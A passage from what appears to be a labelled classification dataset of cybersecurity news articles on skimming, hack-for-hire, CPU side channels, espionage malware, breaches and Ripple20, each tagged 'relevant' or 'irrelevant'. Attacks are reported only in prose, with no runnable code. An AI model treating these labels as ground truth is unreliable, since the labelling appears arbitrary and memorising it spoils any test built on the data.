of untrusted code. credit card hacking ""The source of the problem is that the CSP rule system isn't granular enough,"" PerimeterX's VP of research Amir Shaked said. ""Recognizing and stopping the above malicious JavaScript request requires advanced visibility solutions that can detect the access and exfiltration of sensitive user data (in this case, the user's email address and password)."" To harvest data using this technique, all that is needed is a small piece of JavaScript code that transmits the collected details like credentials and payment information through an event and other parameters that Google Analytics uses to uniquely identify different actions performed on a site. ""Administrators write *.google-analytics.com into the Content-Security-Policy header (used for listing resources from which third-party code can be downloaded), allowing the service to collect data. What's more, the attack can be implemented without downloading code from external sources,"" Kaspersky noted. To make the attacks more covert, the attackers also ascertain if developer mode — a feature that's often used to spot network requests and security errors, among other things — is enabled in the visitor's browser, and proceed only if the result of that check is negative. A ""Novel"" Campaign Since March In a separate report released yesterday, Netherlands-based Sansec, which tracks digital skimming attacks, uncovered a similar campaign since March 17 that delivered the malicious code on several stores using a JavaScript code that's hosted on Google's Firebase. For obfuscation, the actor behind the operation created a temporary iFrame to load an attacker-controlled Google Analytics account. The credit card data entered on payment forms is then encrypted and sent to the analytics console from where it's recovered using the encryption key earlier used. Given the widespread use of Google Analytics in these attacks, countermeasures like CSP will not work if attackers take advantage of an already allowed domain to hijack sensitive information. google analytics ""A possible solution would come from adaptive URLs, adding the ID as part of the URL or subdomain to allow admins to set CSP rules that restrict data exfiltration to other accounts,"" Shaked concluded. ""A more granular future direction for strengthening CSP direction to consider as part of the CSP standard is XHR proxy enforcement. This will essentially create a client-side WAF that can enforce a policy on where specific data field[s] are allowed to be transmitted."" As a customer, unfortunately, there isn't much you can do to safeguard yourself from formjacking attacks. Turning on developer mode in browsers can help when making online purchases. But it's essential that you watch out for any instances of unauthorized purchases or identity theft.",relevant
"Indian IT Company Was Hired to Hack Politicians, Investors, Journalists Worldwide A team of cybersecurity researchers today outed a little-known Indian IT firm that has secretly been operating as a global hackers-for-hire service or hacking-as-a-service platform. Based in Delhi, BellTroX InfoTech allegedly targeted thousands of high-profile individuals and hundreds of organizations across six continents in the last seven years. Hack-for-hire services do not operate as a state-sponsored group but likely as a hack-for-hire company that conducts commercial cyberespionage against given targets on behalf of private investigators and their clients. According to the latest report published by the University of Toronto's Citizen Lab, BellTroX—dubbed 'Dark Basin' as a hacking group—targeted advocacy groups, senior politicians, government officials, CEOs, journalists, and human rights defenders. ""Over the course of our multi-year investigation, we found that Dark Basin likely conducted commercial espionage on behalf of their clients against opponents involved in high profile public events, criminal cases, financial transactions, news stories, and advocacy,"" the report reads. Citizen Lab started its investigation into the 'Dark Basin' group in 2017 after it was contacted by a journalist targeted with phishing pages that were served via the self-hosted open-source Phurl URL shortener. phishing-page Researchers found that attackers used the same URL shortener to disguise at least 27,591 other phishing links containing the targets' email addresses. ""Because the shorteners created URLs with sequential shortcodes, we were able to enumerate them and identify almost 28,000 additional URLs containing email addresses of targets."" Initially suspected to be state-sponsored, the hacking group was later identified as a hack-for-hire scheme, given the variety of targets. phishing-page Interestingly, Sumit Gupta, the owner of BellTroX company, was once indicted in California in 2015 for his role in a similar hack-for-hire scheme, along with two private investigators who admitted to paying him to hack the accounts of marketing executives. ""Dark Basin left copies of their phishing kit source code available openly online, as well as log files"" that ""recorded every interaction with the credential phishing website, including testing activity carried out by Dark Basin operators,"" Citizen Lab said. ""We were able to identify several BellTroX employees whose activities overlapped with Dark Basin because they used personal documents, including a CV, as bait content when testing their URL shorteners."" ""They also made social media posts describing and taking credit for attack techniques containing screenshots of links to Dark Basin infrastructure."" Citizen Lab notified hundreds of individuals and institutions targeted by BellTroX and shared their findings with the United States Department of Justice (DOJ) on the request of several targets. ""Dark Basin has a remarkable portfolio of targets, from senior government officials and candidates in multiple countries to financial services firms such as hedge funds and banks to pharmaceutical companies."" ""Many of Dark Basin's targets have a strong but unconfirmed sense that the targeting is linked to a dispute or conflict with a particular party whom they know."" Cybersecurity company NortonLifeLock also conducting a parallel investigation into Dark Basin's operations, dubbed as ""Mercenary.Amanda"" and released a list of Indicators of Compromise (IoC).",irrelevant
"Intel CPUs Vulnerable to New 'SGAxe' and 'CrossTalk' Side-Channel Attacks Cybersecurity researchers have discovered two distinct attacks that could be exploited against modern Intel processors to leak sensitive information from the CPU's trusted execution environments (TEE). Called SGAxe, the first of the flaws is an evolution of the previously uncovered CacheOut attack (CVE-2020-0549) earlier this year that allows an attacker to retrieve the contents from the CPU's L1 Cache. ""By using the extended attack against the Intel-provided and signed architectural SGX enclaves, we retrieve the secret attestation key used for cryptographically proving the genuinity of enclaves over the network, allowing us to pass fake enclaves as genuine,"" a group of academics from the University of Michigan said. The second line of attack, dubbed CrossTalk by researchers from the VU University Amsterdam, enables attacker-controlled code executing on one CPU core to target SGX enclaves running on a completely different core, and determine the enclave's private keys. A TEE, like Intel's Software Guard Extensions (SGX), refers to a secure enclave, an area within a processor that ensures confidentiality and integrity of code and data. It offers safeguards against the modification of sensitive software and data by malicious actors that may have broken into the target (virtual) machine. SGAxe Attack: Extracting Sensitive Data From SGX Enclaves SGAxe builds on the CacheOut speculative execution attack to steal SGX data. According to the researchers, while Intel took steps to address side-channel attacks against SGX via several microcode updates and new architectures, the mitigations have proven ineffective. That exploit, as a result, results in a transient execution attack that can recover SGX cryptographic keys from a fully updated Intel machine, which is trusted by Intel's attestation server. Attestation is a mechanism offered as part of SGX that lets enclaves prove to third parties that they have been correctly initialized on a genuine Intel processor. The idea is to ensure that the software running inside the CPU hasn't tampered with and to have increased confidence that the software is running inside the enclave. ""In a nutshell, we use CacheOut to recover the sealing keys from within the address space of Intel's production quoting enclave,"" the researchers stated. ""Finally, we use the recovered sealing keys in order to decrypt the long term storage of the quoting enclave, obtaining the machines EPID attestation keys."" intel cpu side channel attack By breaking this trust, SGAxe makes it easy for an attacker to create a rogue enclave that passes Intel's attestation mechanism, resulting in loss of security guarantees. ""With the machine's production attestation keys compromised, any secrets provided by [the] server are immediately readable by the client's untrusted host application, while all outputs allegedly produced by enclaves running on the client cannot be trusted for correctness,"" the researchers said. ""This effectively renders SGX-based DRM applications useless, as any provisioned secret can be trivially recovered."" Although Intel issued fixes for CacheOut back in January via a microcode update to OEM vendors and subsequently via BIOS updates to end-users, mitigations for SGAxe will require patching the root cause behind CacheOut (aka L1D Eviction Sampling). ""It is important to note that SGAxe relies on CVE-2020-0549 which has been mitigated in microcode (confirmed by the researchers in their updated CacheOut paper) and distributed out to the ecosystem,"" Intel said in a security advisory. The chipmaker will also perform a Trusted Compute Base (TCB) recovery to invalidate all previously signed attestation keys. ""This process will ensure that your system is in a secure state such that your system is able to use remote attestation again,"" the researchers stated. CrossTalk Attack: Leaking Information Across CPU cores CrossTalk (CVE-2020-0543), the second SGX exploit, is what the VU University calls an MDS (Microarchitectural Data Sampling) attack. It takes advantage of a ""staging"" buffer that's readable across all CPU cores to mount transient execution attacks across the cores and extract the entire ECDSA private key of a secure enclave running on a separate CPU core. ""The staging buffer retains the results of previously executed offcore-instructions across all CPU cores,"" the researchers observed. ""For instance, it contains the random numbers returned by the offcore hardware DRNG, bootguard status hashes, and other sensitive data."" intel cpu side channel attack Put differently, CrossTalk works by reading the staging buffer during transient execution in order to leak sensitive data accessed by previously executed victim instructions. The fact that the buffer retains output from RDRAND and RDSEED instructions makes it possible for an unauthorized party to track the random numbers generated, and therefore compromise the cryptographic operations that underpin the SGX enclave, including the aforementioned remote attestation process. With Intel CPUs released from 2015 to 2019, counting Xeon E3 and E CPUs, susceptible to the attacks, VU University researchers said it shared with Intel a proof-of-concept demonstrating the leakage of staging buffer content in September 2018, followed by a PoC implementing cross-core RDRAND/RDSEED leakage in July 2019. ""Mitigations against existing transient execution attacks are largely ineffective,"" the team summarized. ""The majority of current mitigations rely on spatial isolation on boundaries which are no longer applicable due to the cross-core nature of these attacks. New microcode updates which lock the entire memory bus for these instructions can mitigate these attacks—but only if there are no similar problems which have yet to be found."" In response to the findings, Intel addressed the flaw in a microcode update distributed to software vendors yesterday after a prolonged 21-month disclosure period due to the difficulty in implementing a fix. The company has recommended users of affected processors update to the latest version of the firmware provided by system manufacturers to address the issue.",relevant
"InvisiMole Hackers Target High-Profile Military and Diplomatic Entities Cybersecurity researchers today uncovered the modus operandi of an elusive threat group that hacks into the high-profile military and diplomatic entities in Eastern Europe for espionage. The findings are part of a collaborative analysis by cybersecurity firm ESET and the impacted firms, resulting in an extensive look into InvisiMole's operations and the group's tactics, tools, and procedures (TTPs). ""ESET researchers conducted an investigation of these attacks in cooperation with the affected organizations and were able to uncover the extensive, sophisticated tool-sets used for delivery, lateral movement, and execution of InvisiMole's backdoors,"" the company said in a report shared with The Hacker News. Cooperation with the Gamaredon Group First discovered in 2018, InvisiMole has been active at least since 2013 in connection with targeted cyber-espionage operations in Ukraine and Russia. After slipping under the radar, the threat actor returned late last year with an updated toolset and previously unreported tactics to obfuscate malware. ""InvisiMole has a modular architecture, starting its journey with a wrapper DLL, and performing its activities using two other modules that are embedded in its resources,"" ESET researchers had previously noted in a June 2018 report. ""Both of the modules are feature-rich backdoors, which together give it the ability to gather as much information about the target as possible."" The feature-rich spyware, dubbed RC2FM and RC2CL, was found to be capable of making system changes, scanning wireless networks to track the geolocation of victims, gathering user information, and even uploading sensitive files located in the compromised machine. But the exact mechanism of malware delivery remained unclear until now. malware attack Not only did ESET find evidence of ""living off the land"" techniques that exploited legitimate applications to stealthily carry out malicious operations, but they also discovered ties to a second threat actor called the Gamaredon group, which has a long history of cyberattacks against Ukrainian institutions. ""Gamaredon is used to pave the way for a far stealthier payload – according to our telemetry, a small number of Gamaredon's targets are 'upgraded' to the advanced InvisiMole malware, likely those deemed particularly significant by the attackers,"" the researchers said, adding the malware is deployed only after the attackers gained administrative privileges, as many of InvisiMole's execution methods require elevated permissions. Once the initial compromise takes place, InvisiMole exploits BlueKeep (CVE-2019-0708) and EternalBlue (CVE-2017-0144) vulnerabilities in RDP and SMB protocols or makes use of trojanized documents and software installers to propagate laterally across the network. In addition to employing updated versions of the RC2CL and RC2FM backdoors, the malware leverages a new TCS downloader to download additional modules and a DNS downloader, which, in turn, leverages DNS tunneling to mask communications to an attacker-controlled server. ""With DNS tunneling, the compromised client does not directly contact the C&C server; it only communicates with the benign DNS server(s) the victim machine would normally communicate with, where it sends requests to resolve a domain to its IP address,"" the researchers said. ""The DNS server then contacts the name server responsible for the domain in the request, which is an attacker-controlled name server, and relays its response back to the client."" RC2CL and RC2FM: Fully-Featured Spyware What's more, the final payloads, RC2CL and RC2FM, were delivered via no less than four different execution chains that were put together by combining malicious shellcode with legitimate tools and vulnerable executables. computer virus The improved RC2CL backdoor supports as many as 87 commands, with capabilities to turn on webcam and microphone devices to take photos, record video, and sound, capture screenshots, collect network information, list installed software, and monitor recently accessed documents by the victim. Although not used prominently, RC2FM comes with its own set of document exfiltration commands, along with new features to log keystrokes and bypass user access control (UAC). Furthermore, the new versions of both RC2CL and RC2FM come with their own means to escape antivirus detection, including injecting themselves into other innocuous processes and suppressing specific features, such as keylogging. ""The targets considered particularly significant by the attackers are upgraded from relatively simple Gamaredon malware to the advanced InvisiMole malware,"" ESET researcher Zuzana Hromcová said. This previously unknown cooperation between the two groups ""allows the InvisiMole group to devise creative ways of operating under the radar,"" she added.",irrelevant
"New Privacy Features Added to the Upcoming Apple iOS 14 and macOS Big Sur Unprecedented times call for unprecedented measures. No, we're not talking about 'coronavirus,' the current global pandemic because of which Apple—for the very first time in history—organized its Worldwide Developer Conference (WWDC) virtually. Here we're talking about a world in which we are all connected and constantly sharing data, also known as the new oil, with something called ""privacy"" for which we still have to fight on several fronts together. During WWDC 2020 on Monday, the world's most valuable company announced the next versions of its operating systems — iOS 14 for iPhones, iPadOS 14 for iPads, watchOS 7 for Apple Watches, and macOS Big Sur for MacBooks — with new features and enhancements. What's important is that the company also highlighted a few new security and privacy features that have been added to the upcoming iOS 14 and macOS Big Sur systems, categorically aiming to help users: better control which apps installed on their devices can access their data, identify shady apps that don't respect privacy, and share data with others without any disclosure, spot malicious apps that secretly spy on users' data and activities. ""Privacy is a fundamental human right and at the core of everything we do. That's why with iOS 14, we're giving you more control over the data you share and more transparency into how it's used,"" the company says in a statement. New Security and Privacy Features in macOS and iOS Below we have summarized some of the new important privacy and security features that are really worth knowing: 1.) Not Every App Can Access Your Precise Geo location iphone location tracking app Your iPhone already allows you to block specific apps from tracking your location, but now the latest iOS version will also allow you to share an approximate location with apps you are using instead of giving them access to your precise geolocation coordinates when granting any app location access. 2.) An Indicator to Spot if Microphone/Camera is Recording iPhone users will now see a yellow dot indicator in the status bar whenever their microphone or camera is recording. iphone camera tracking In the Control Center, you can see which apps have used the mic or camera recently. 3.) Upgrade App Account to ""Sign-in with Apple"" iphone sign in with apple id Developers can now offer the option to upgrade existing app accounts to Sign in with Apple so users can enjoy improved Privacy, security, and ease of use without setting up a new account. 4.) Limited Photos Library Access for Selected App With iOS 14, you do not need to share your entire photo library with apps with whom you want to share a few photos. You can now choose to share only selected items with an app that asks access to your photos, or granting access is essential to use a related functionality. 5.) Safari Browser Added Password Monitoring and Privacy Report Apple added two new security features to its Safari web browser for iOS and macOS, one of which aims to help users learn if they are using a compromised password for any online account. safari privacy settings ""Safari automatically keeps an eye out for any saved passwords that may have been involved in a data breach. Using advanced cryptographic techniques, Safari periodically checks a derivation of your passwords against an updated list of compromised credentials. If a breach is discovered, Safari helps you upgrade your existing passwords. All this is done without revealing your password information to anyone — including Apple,"" the company said. Whereas the second feature in Safari uses Intelligent Tracking Prevention to identify and prevent trackers from profiling or following you across the web. Besides this, the system also generates a weekly Privacy Report, showing users how Safari protects their browsing across all the websites they visit. 6.) Cross-App Tracking: Control and Transparency To make tracking transparent and under the user's control, Apple now requires app developers to get users' consent before tracking them across third-party applications and websites. This means now you can choose which apps have permission to track you. You can see which apps you have given permission to track in settings, letting you change your preferences accordingly. 7.) Privacy Information on the App Store Apple now also requires developers to display a summary of the privacy practices of their apps on their pages in the App Store, which will help users review it before downloading. apple app store privacy They are required to self-report their app practices, like data collected by the developer, and used to track you across companies in a simple, easy-to-read format. 8.) Bye, Bye, Intel! Apple to Use ARM-based Processors in Mac Devices Besides announcing new features and improvements for iOS and macOS, Apple also made a big announcement at WWDC 2020 — the company is officially switching from Intel processors to its in-house ""Apple Silicon"" processors. apple silicone processor After creating mobile processors for its iPhone and iPad devices from over a decade, Apple is eager to bring Apple-designed silicon for the Mac, which will maximize the performance of the device while also being energy efficient. ""With its powerful features and industry-leading performance, Apple silicon will make the Mac stronger and more capable than ever,"" said Apple CEO Tim Cook. ""I've never been more excited about the future of the Mac."" The company plans to ship the first Mac with Apple silicon by the end of this year and complete the transition in about two years. To help developers get started with Apple silicon, Apple is launching the Universal App Quick Start Program, which provides access to documentation, forums support, beta versions of macOS Big Sur and Xcode 12, and the limited use of a Developer Transition Kit (DTK), a Mac development system based on Apple's A12Z Bionic System on a Chip (SoC).",irrelevant
"Joomla Resources Directory (JRD) Portal Suffers Data Breach Joomla, one of the most popular Open-source content management systems (CMS), last week announced a new data breach impacting 2,700 users who have an account with its resources directory (JRD) website, i.e., resources.joomla.org. The breach exposed affected users' personal information, such as full names, business addresses, email addresses, phone numbers, and encrypted passwords. The company said the incident came to light during an internal website audit that revealed that a member of the Joomla Resources Directory (JRD) team stored a full unencrypted backup of the JRD website on an Amazon Web Services S3 bucket owned by the third-party company. The affected JRD portal lists developers and service providers specialized in Joomla, allowing registered users to extend their CMS with additional functionalities. Joomla said the investigation is still ongoing and that accesses to the website have been temporarily suspended. It has also reached out to the concerned third-party to get the data deleted. It's not clear if any party found the unencrypted backup and accessed the information. The details that could have been potentially accessed by an unauthorized third-party are as follows: Full names Business addresses Business email addresses Business phone numbers Company URLs Nature of business Encrypted passwords (hashed) IP addresses Newsletter subscription preferences The impact of the breach is said to be low, given that most of the information is already in the public domain. In addition to mandating a password reset for all impacted accounts, it's recommended to change them on other sites that reuse the same password to prevent credential stuffing attacks. As a consequence of the audit, Joomla has removed all users who've not logged in before January 1st, 2019, as well as several unused groups. Furthermore, it has enabled two-factor authentication and rolled out security fixes on its platform. ""Even if we don't have any evidence about data access, we highly recommend people who have an account on the Joomla Resources Directory and use the same password (or combination of an email address and password) on other services to immediately change their password for security reasons,"" Joomla said in the advisory.",irrelevant
"Spies Can Listen to Your Conversations by Watching a Light Bulb in the Room You might not believe it, but it's possible to spy on secret conversations happening in a room from a nearby remote location just by observing a light bulb hanging in there—visible from a window—and measuring the amount of light it emits. A team of cybersecurity researchers has developed and demonstrated a novel side-channel attacking technique that can be applied by eavesdroppers to recover full sound from a victim's room that contains an overhead hanging bulb. The findings were published in a new paper by a team of academics—Ben Nassi, Yaron Pirutin, Adi Shamir, Yuval Elovici and Boris Zadov—from the Israeli's Ben-Gurion University of the Negev and the Weizmann Institute of Science, which will also be presented at the Black Hat USA 2020 conference later this August. The technique for long-distance eavesdropping, called ""Lamphone,"" works by capturing minuscule sound waves optically through an electro-optical sensor directed at the bulb and using it to recover speech and recognize music. How Does the 'Lamphone Attack' Work? The central premise of Lamphone hinges on detecting vibrations from hanging bulbs as a result of air pressure fluctuations that occur naturally when sound waves hit their surfaces and measuring the tiny changes in the bulb's output that those small vibrations trigger to pick up snippets of conversations and identify music. ""We assume a victim located inside a room/office that contains a hanging light bulb,"" the researchers said. ""We consider an eavesdropper a malicious entity that is interested in spying on the victim in order to capture the victim's conversations and make use of the information provided in the conversation (e.g., stealing the victim's credit card number, performing extortion based on private information revealed by the victim, etc.)."" Lamphone Light Bulb Spying Attack To achieve this, the setup consists of a telescope to provide a close-up view of the room containing the bulb from a distance, an electro-optical sensor that's mounted on the telescope to convert light into an electrical current, an analog-to-digital converter to transform the sensor output to a digital signal, and a laptop to process incoming optical signals and output the recovered sound data. ""Lamphone leverages the advantages of the Visual Microphone (it is passive) and laser microphone (it can be applied in real-time) methods of recovering speech and singing,"" the researchers said. Lamphone Attack Demonstration The result? The researchers recovered an audible extract of President Donald Trump's speech that could be transcribed by Google's Speech to Text API. They also reproduced a recording of the Beatles' ""Let It Be"" and Coldplay's ""Clocks"" that were clear enough to be recognized by song identification services like Shazam and SoundHound. ""We show how fluctuations in the air pressure on the surface of the hanging bulb (in response to sound), which cause the bulb to vibrate very slightly (a millidegree vibration), can be exploited by eavesdroppers to recover speech and singing, passively, externally, and in real-time,"" the researchers outlined. ""We analyze a hanging bulb's response to sound via an electro-optical sensor and learn how to isolate the audio signal from the optical signal. Based on our analysis, we develop an algorithm to recover sound from the optical measurements obtained from the vibrations of a light bulb and captured by the electro-optical sensor."" The development adds to a growing list of sophisticated techniques that can be leveraged to snoop on unsuspecting users and extract acoustic information from devices intended to function as microphones, such as motion sensors, speakers, vibration devices, magnetic hard disk drives, and even wooden tables. From How Far An Attacker Can Spy On Using the Lamphone Attack? The new approach is effective from great distances — starting with at least 25 meters away from the target using a telescope and a $400 electro-optical sensor, and can further be amplified with high-range equipment. Lamphone Light Bulb Spying Attack Lamphone side-channel attacks can be applied in real-time scenarios, unlike previous eavesdropping setups such as Visual Microphone, which are hampered by lengthy processing times to even recover a few seconds of speech. Moreover, since it's an entirely external scenario, the attack doesn't require a malicious actor to compromise any victim's device. Given the effectiveness of the attack relies heavily on the light output, the countermeasures proposed by the paper's authors involve reducing the amount of light captured by the electro-optical sensor by using a weaker bulb and a curtain wall to limit the light emitted from a room. The researchers also suggest using a heavier bulb to minimize vibrations caused by changes in air pressure.",irrelevant
"Magecart Targets Emergency Services-related Sites via Insecure S3 Buckets Hacking groups are continuing to leverage misconfigured AWS S3 data storage buckets to insert malicious code into websites in an attempt to swipe credit card information and carry out malvertising campaigns. In a new report shared with The Hacker News, cybersecurity firm RiskIQ said it identified three compromised websites belonging to Endeavor Business Media last month that are still hosting JavaScript skimming code — a classic tactic embraced by Magecart, a consortium of different hacker groups who target online shopping cart systems. The unpatched affected websites host emergency services-related content and chat forums catering to firefighters, police officers, and security professionals, per RiskIQ. www[.]officer[.]com www[.]firehouse[.]com www[.]securityinfowatch[.]com The cyber firm said it hasn't heard back from Endeavor Business Media despite reaching out to the company to address the issues. As a consequence, it's working with Swiss non-profit cybersecurity firm Abuse.ch to sinkhole the malicious domains associated with the campaign. Amazon S3 (short for Simple Storage Service) is a scalable storage infrastructure that offers a reliable means to save and retrieve any amount of data via a web services interface. cybersecurity These virtual credit card skimmers, also known as formjacking attacks, are typically JavaScript code that Magecart operators stealthily insert into a compromised website, often on payment pages, designed to capture customers' card details in real-time and transmit it to a remote attacker-controlled server. Last July, RiskIQ uncovered a similar Magecart campaign leveraging misconfigured S3 buckets to inject digital credit card skimmers on 17,000 domains. credit card skimmer code In addition to using JavaScript to load the skimmer, RiskIQ said it discovered additional code that it calls ""jqueryapi1oad"" used in connection with a long-running malvertising operation that began in April 2019 and has infected 277 unique hosts to date. ""We first identified the jqueryapi1oad malicious redirector — so named after the cookie we connected with it — in July of 2019,"" the researchers said. ""Our research team determined that the actors behind this malicious code were also exploiting misconfigured S3 buckets."" The code sets the jqueryapi1oad cookie with an expiration date based on the outcome of a bot check and creates a new DOM element in the page into which it's been injected. Then it proceeds to download additional JavaScript code that, in turn, loads a cookie associated with Keitaro traffic distribution system (TDS) to redirect traffic to scam ads tied to HookAds malvertising campaign. flash player ""The domain futbolred[.]com is a Colombian soccer news site that's in the top 30,000 of global Alexa rankings. It also misconfigured an S3 bucket, leaving it open to jqueryapi1oad,"" the researchers said. To mitigate these threats, RiskIQ recommends securing S3 buckets with the right level of permissions, in addition to using Access Control Lists (ACLs) and bucket policies to grant access to other AWS accounts or to public requests. ""Misconfigured S3 buckets that allow malicious actors to insert their code into numerous websites is an ongoing issue,"" RiskIQ concluded. ""In today's threat environment, businesses cannot move forward safely without having a digital footprint, an inventory of all digital assets, to ensure they are under the management of your security team and properly configured.""",irrelevant
"Hackers Target Military and Aerospace Staff by Posing as HRs Offering Jobs Cybersecurity researchers today took the wraps off a new sophisticated cyber-espionage campaign directed against aerospace and military organizations in Europe and the Middle East with an aim to spy on key employees of the targeted firms and, in some case, even to siphon money. The campaign, dubbed ""Operation In(ter)ception"" because of a reference to ""Inception"" in the malware sample, took place between September to December 2019, according to a new report cybersecurity firm ESET shared with The Hacker News. ""The primary goal of the operation was espionage,"" the researchers told The Hacker News. ""However, in one of the cases we investigated, the attackers tried to monetize access to a victim's email account through a business email compromise (BEC) attack as the final stage of the operation."" The financial motivation behind the attacks, coupled with similarities in targeting and development environment, have led ESET to suspect Lazarus Group, a notorious hacking group that's been attributed to working on behalf of the North Korean government to fund the country's illicit weapon and missile programs. Social Engineering via LinkedIn Stating that the campaign was highly targeted, ESET said it relied on social engineering tricks to lure employees working for the chosen companies with fake job offers using LinkedIn's messaging feature, posing as HR managers of well-known companies in the aerospace and defense industry, including Collins Aerospace and General Dynamics. Hackers Target Military and Aerospace ""Once the contact was established, the attackers snuck malicious files into the communication, disguising them as documents related to the advertised job offer,"" the researchers said, based on an investigation with two of the affected European companies. The decoy RAR archive files, which were directly sent over the chats or as emails sent from their fake LinkedIn personas pointing to an OneDrive link, purported to contain a PDF document detailing salary information of specific job positions, when in actuality, it executed Windows' Command Prompt utility to perform a series of actions: Copy Windows Management Instrumentation command-line tool (wmic.exe) to a specific folder Rename it to something innocuous to evade detection (e.g., Intel, NVidia, Skype, OneDrive and Mozilla), and Create scheduled tasks that execute a remote XSL script via WMIC. The actors behind the operation, upon gaining an initial foothold inside the target company, went on to employ a custom malware downloader, which in turn downloaded a previously undocumented second-stage payload — a C++ backdoor that periodically sends requests to an attacker-controlled server, carry out pre-defined actions based on the received commands, and exfiltrate the collected information as a RAR file via a modified version of dbxcli, an open-source command-line client for Dropbox. In addition to using WMIC to interpret remote XSL scripts, the adversaries also abused native Windows utilities such as ""certutil"" to decode base64-encoded downloaded payloads, and ""rundll32"" and ""regsvr32"" to run their custom malware. ""We actively seek out signs of state-sponsored activity on the platform and quickly take action against bad actors in order to protect our members. We don't wait on requests, our threat intelligence team removes fake accounts using information we uncover and intelligence from a variety of sources, including government agencies,"" Paul Rockwell, Head of Trust and Safety at LinkedIn said in a statement sent to The Hacker News. ""Our teams utilize a variety of automated technologies, combined with a trained team of reviewers and member reporting, to keep our members safe from all types of bad actors. We enforce our policies, which are very clear: the creation of a fake account or fraudulent activity with an intent to mislead or lie to our members is a violation of our terms of service. In this case, we uncovered instances of abuse that involved the creation of fake accounts. We took immediate action at that time and permanently restricted the accounts"" Financially Motivated BEC Attacks Besides reconnaissance, ESET researchers also found evidence of attackers attempting to exploit the compromised accounts to extract money from other companies. Hackers Target Military and Aerospace Although unsuccessful, the monetization tactic worked by using the existing email communications between the account holder and a customer of the company to settle an outstanding invoice to a different bank account under their control. ""As part of this ruse, the attackers registered an identical domain name to that of the compromised company, but on a different top-level domain, and used an email associated with this fake domain for further communication with the targeted customer,"" ESET said. Ultimately, the targeted customer reached out to the correct email address of the victim about the suspicious emails, thus foiling the attackers' attempt. ""Our research into Operation In(ter)ception shows again how effective spear-phishing can be for compromising a target of interest,"" the researchers concluded. ""They were highly targeted and relied on social engineering over LinkedIn and custom, multistage malware. To operate under the radar, the attackers frequently recompiled their malware, abused native Windows utilities, and impersonated legitimate software and companies.""",irrelevant
"MSPs and MSSPs Can Increase Profit Margins With Cynet 360 Platform As cyber threats keep on increasing in volume and sophistication, more and more organizations acknowledge that outsourcing their security operations to a 3rd-party service provider is a practice that makes the most sense. To address this demand, managed security services providers (MSSPs) and managed service providers (MSPs) continuously search for the right products that would empower their teams to deliver high-quality and scalable services. Cynet 360 Autonomous Breach Protection platform offers a multitenant security solution for MSSP/MSP, providing automated, all-in-one products that include a robust SOAR layer, on top of attack prevention and detection. (Learn more about Cynet's partner program for MSPs and MSSPs here). Service providers typically have a skilled security team at their disposal. The challenge is how to leverage this skill to serve as many customers as possible without compromising on the quality of the service. That makes each minute of each team member a precious resource. As a result, when shortlisting security technologies, MSSP and MSP look for products that would enable their teams to deliver the most value with minimum operational investment. Cynet 360's autonomous breach protection highlights: All in one – single solution that includes EPP, EDR, MDR with additional SIEM and SOAR capabilities, empowering the MSSP/MSP team to master and deliver full breach protection across users, networks, and endpoints from one interface. Multitenancy – easy and scalable service to multiple customers, running a dedicated Cynet instance for each and monitoring all from a central dashboard tailor-made for MSP/MSSP needs. cybersecurity software Tailored Security Policies for each Customer network security software Granular Site-level Alert Visibility CyOps – 24/7 MDR services delivering alert monitoring, attack investigation, proactive threat hunting, and assistance in remote IR operations. Inventory visibility – monitoring and control of all assets within the environment: machines, installed software, user accounts, and all related activity. Rapid deployment – zero time to value with seamless distribution across thousands of endpoints within hours. Partner enablement program – easy onboarding with continuous technical support and SE onboarding together with sales enablement collateral (decks, webinars, training materials, etc.) Automated remediations – an end to end automation of the response process, from the root cause and impact analysis to active remediation of infected hosts, malicious files, C2C traffic, and compromised user accounts. On top of optimizing existing MSSP\MSP operations, Cynet 360 multitenant architecture, high automation capabilities, and 24\7 MDR can enable any VAR or IT service provider to add security services to its portfolio. Learn more on Cynet 360 for MSSP\MSP here.",irrelevant
"New Ripple20 Flaws Put Billions of Internet-Connected Devices at Risk of Hacking The Department of Homeland Security and CISA ICS-CERT today issued a critical security advisory warning about over a dozen newly discovered vulnerabilities affecting billions of Internet-connected devices manufactured by many vendors across the globe. Dubbed ""Ripple20,"" the set of 19 vulnerabilities resides in a low-level TCP/IP software library developed by Treck, which, if weaponized, could let remote attackers gain complete control over targeted devices—without requiring any user interaction. According to Israeli cybersecurity company JSOF—who discovered these flaws—the affected devices are in use across various industries, ranging from home/consumer devices to medical, healthcare, data centers, enterprises, telecom, oil, gas, nuclear, transportation, and many others across critical infrastructure. ""Just a few examples: data could be stolen off of a printer, an infusion pump behavior changed, or industrial control devices could be made to malfunction. An attacker could hide malicious code within embedded devices for years,"" the researchers said in a report shared with The Hacker News. ""One of the vulnerabilities could enable entry from outside into the network boundaries; this is only a small taste of the potential risks."" There are four critical vulnerabilities in Treck TCP/IP stack, with CVSS scores over 9, which could let attackers execute arbitrary code on targeted devices remotely, and one critical bug affects the DNS protocol. cyberattack ""The other 15 vulnerabilities are in ranging degrees of severity with CVSS score ranging from 3.1 to 8.2, and effects ranging from Denial of Service to potential Remote Code Execution,"" the report says. Some Ripple20 flaws were patched by Treck or device manufacturers over the years due to code changes and Stack configurability, and for the same reason, many of the flaws also have several variants that apparently would not be patched anytime soon until vendors perform a comprehensive risk assessment. CVE-2020-11896 (CVSS v3 base score 10.0): Improper handling of length parameter inconsistency in IPv4/UDP component when handling a packet sent by an unauthorized network attacker. This vulnerability may result in remote code execution. CVE-2020-11897 (CVSS v3 base score 10.0): Improper handling of length parameter inconsistency in IPv6 component when handling a packet sent by an unauthorized network attacker. This vulnerability may result in possible out-of-bounds write. CVE-2020-11898 (CVSS v3 base score 9.8): Improper handling of length parameter inconsistency in IPv4/ICMPv4 component when handling a packet sent by an unauthorized network attacker. This vulnerability may result in the exposure of sensitive information. CVE-2020-11899 (CVSS v3 base score 9.8): Improper input validation in the IPv6 component when handling a packet sent by an unauthorized network attacker. This vulnerability may allow exposure of sensitive information. CVE-2020-11900 (CVSS v3 base score of 9.3): Possible double free in IPv4 tunneling component when handling a packet sent by a network attacker. This vulnerability may result in remote code execution. CVE-2020-11901 (CVSS v3 base score 9.0): Improper input validation in the DNS resolver component when handling a packet sent by an unauthorized network attacker. This vulnerability may result in remote code execution. You can find details for the rest of the vulnerabilities in an advisory released by the U.S. government. Cybersecurity researchers at JSOF responsibly reported their findings to Treck company, who then patched most of the flaws with the release of TCP/IP stack version 6.0.1.67 or higher. Researchers also contacted affected semiconductors and device manufacturing vendors, including—HP, Schneider Electric, Intel, Rockwell Automation, Caterpillar, Baxter, and Quadros—many of which have already acknowledged the flaw and rest are still taking an assessment of their products before going public. cybersecurity iot devices ""The disclosure was postponed twice after requests for 